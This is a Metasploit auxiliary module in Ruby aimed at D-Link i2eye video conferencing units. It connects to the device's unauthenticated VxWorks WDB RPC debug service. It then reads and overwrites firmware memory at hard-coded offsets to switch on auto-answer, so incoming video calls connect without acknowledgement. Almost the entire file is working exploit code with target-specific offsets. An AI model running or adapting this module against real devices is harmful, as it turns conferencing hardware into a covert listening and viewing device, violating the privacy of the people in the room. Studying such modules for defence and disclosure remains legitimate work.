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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::WDBRPC_Client
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link i2eye Video Conference AutoAnswer (WDBRPC)',
'Description' => %q{
This module can be used to enable auto-answer mode for the D-Link
i2eye video conferencing system. Once this setting has been flipped,
the device will accept incoming video calls without acknowledgement.
The NetMeeting software included in Windows XP can be used to connect
to this device. The i2eye product is no longer supported by the vendor
and all models have reached their end of life (EOL).
},
'Author' => [ 'hdm'],
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '66842'],
['URL', 'http://blog.metasploit.com/2010/08/vxworks-vulnerabilities.html'],
['US-CERT-VU', '362332']
]
))
end
def run
target = nil
targets = {
# Original firmware for the North America DVC1000
"Sorenson VP100 - ARM9TDMI" => [[0x00229a05, 0x00000000, 0x00000001]],
# Final firmware for the North America DVC1000
# Also covers a mislabeled "Sorenson VP100" (revision A3)
"i-2-eye DVC1000 - ARM9TDMI" => [
[0x0040cd68, 0x00000000, 0x01000000],
[0x0040af38, 0x00000000, 0x01000000],
[0x0040cd00, 0x00000000, 0x01000000]
],
}
wdbrpc_client_connect
if not @wdbrpc_info[:rt_vers]
print_error("No response to connection request")
return
end
membase = @wdbrpc_info[:rt_membase]
target = targets[@wdbrpc_info[:rt_bsp_name]]
if not target
print_error("No target available for BSP #{@wdbrpc_info[:rt_bsp_name]}")
wdbrpc_client_disconnect
return
end
target.each do |r|
offset, oldval, newval = r
curr = wdbrpc_client_memread(membase + offset, 4).unpack("N")[0]
if curr != oldval and curr != newval
print_error("The value at offset #{"0x%.8x" % offset} does not match this target (#{"0x%.8x" % curr}), skipping...")
next
end
if curr == newval
print_good("The value at offset #{"0x%.8x" % offset} has already been set")
else
wdbrpc_client_memwrite(membase + offset, [newval].pack("N"))
curr = wdbrpc_client_memread(membase + offset, 4).unpack("N")[0]
print_good("The value at offset #{"0x%.8x" % offset} has been set to #{"0x%.8x" % curr}")
end
print_status("The target device should now automatically accept incoming calls")
end
wdbrpc_client_disconnect
end
end